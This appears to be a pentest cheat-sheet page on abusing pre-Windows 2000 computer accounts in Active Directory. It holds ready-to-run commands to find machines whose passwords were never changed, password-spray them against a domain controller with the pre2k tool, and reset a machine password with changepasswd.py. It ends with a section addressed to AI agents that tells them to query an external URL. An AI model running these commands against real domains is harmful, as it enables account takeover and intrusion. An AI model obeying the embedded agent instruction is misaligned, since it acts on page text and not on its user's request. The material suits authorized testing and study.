# Pre-created Computers Abuse

## ACL Abuse on Pre-Windows 2000 Computers

* <https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/>
* <https://www.optiv.com/insights/source-zero/blog/diving-deeper-pre-created-computer-accounts>
* <https://github.com/garrettfoster13/pre2k>
* <https://github.com/eversinc33/Invoke-Pre2kSpray>

Search for machines that never updated their passwords:

```
$ cat 19700101000000_computers.json | jq '.data[].Properties | select(.enabled == true and .pwdlastset == 0) | .name' -r > pre2k.txt
```

Initiate a pitchfork spray against them:

```
$ pre2k unauth -d megacorp.local -dc-ip 192.168.1.11 -inputfile pre2k.txt -sleep 10 -jitter 30 -threads 1
```

Change password to authenticate via NTLM:

```
$ changepasswd.py megacorp.local/'PC01$:pc01'@192.168.1.11 -newpass 'Passw0rd!' -protocol kpasswd -dc-ip 192.168.1.11
```

## ACL Abuse on Pre-created Computers

* <https://dirkjanm.io/abusing-forgotten-permissions-on-precreated-computer-objects-in-active-directory/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/pre-created-computers-abuse.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
